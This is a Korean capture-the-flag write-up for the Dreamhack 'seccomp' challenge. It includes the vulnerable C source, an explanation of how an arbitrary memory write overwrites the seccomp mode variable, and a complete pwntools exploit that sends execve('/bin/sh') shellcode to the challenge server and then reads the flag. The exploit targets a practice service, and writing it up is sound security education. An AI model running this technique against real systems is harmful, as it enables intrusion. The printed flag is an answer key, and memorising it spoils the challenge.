Description
이 문제는 서버에서 작동하고 있는 서비스(seccomp)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
로컬 테스트 환경:
Ubuntu 16.04.7 LTS x86_64
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
checksec
seo@ubuntu:~/Desktop/seccomp$ checksec ./seccomp [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/Desktop/seccomp/seccomp' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Source Code
seccomp.c
// gcc -o seccomp seccomp.cq #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <stddef.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <linux/unistd.h> #include <linux/audit.h> #include <sys/mman.h> int mode = SECCOMP_MODE_STRICT; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int syscall_filter() { #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) /* architecture x86_64 */ #define REG_SYSCALL REG_RAX #define ARCH_NR AUDIT_ARCH_X86_64 struct sock_filter filter[] = { /* Validate architecture. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), /* Get system call number. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) { perror("prctl(PR_SET_NO_NEW_PRIVS)\n"); return -1; } if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) { perror("Seccomp filter error\n"); return -1; } return 0; } int main(int argc, char* argv[]) { void (*sc)(); unsigned char *shellcode; int cnt = 0; int idx; long addr; long value; initialize(); shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); while(1) { printf("1. Read shellcode\n"); printf("2. Execute shellcode\n"); printf("3. Write address\n"); printf("> "); scanf("%d", &idx); switch(idx) { case 1: if(cnt != 0) { exit(0); } syscall_filter(); printf("shellcode: "); read(0, shellcode, 1024); cnt++; break; case 2: sc = (void *)shellcode; sc(); break; case 3: printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", addr); break; default: break; } } return 0; }
Solution
seccomp?
리눅스에서 sandbox 기반으로 시스템콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘
바이너리에서 1번을 입력하면 syscall_filter() 함수를 호출되는데,
STRICT_MODE를 통해 read(2), write(2), _exit(2), sigreturn(2) (but not exit_group(2))로 시스템콜을 제한하고 있다.
만약에 해당 시스템 콜 이외의 호출이 들어오면 SIGKILL 시그널을 발생시키며 프로그램이 종료된다.
이러한 제한은 prctl(PR_SET_SECCOMP, mode, &prog) 코드에서 수행되고있다.
우리는 3번 옵션을 통해 원하는 주소에 값을 쓸 수 있기 때문에,
addr을 mode 전역변수의 주소, value를 1이 아닌 유효하지 않은 값으로 쓰게 된다면,
쉽게 우회할 수 있다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./seccomp") p = remote("host3.dreamhack.games", "9107") e = ELF('./seccomp', checksec=False) asmcode = shellcraft.execve("/bin/sh", 0, 0) shellcode = asm(asmcode) mode = e.symbols['mode'] print(f"mode: {hex(mode)}") p.sendlineafter("> ", "3") p.sendlineafter("addr: ", str(mode)) p.sendlineafter("value: ", "-1") p.sendlineafter("> ", b"1") p.sendlineafter("shellcode: ", shellcode) p.sendlineafter("> ", b"2") p.interactive()
Result
seo@seo:~/Desktop/seccomp$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 9107: Done mode: 0x602090 [*] Switching to interactive mode $ ls flag seccomp $ cat flag DH{22b3695a64092efd8845efe7eda784a4}$ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 9107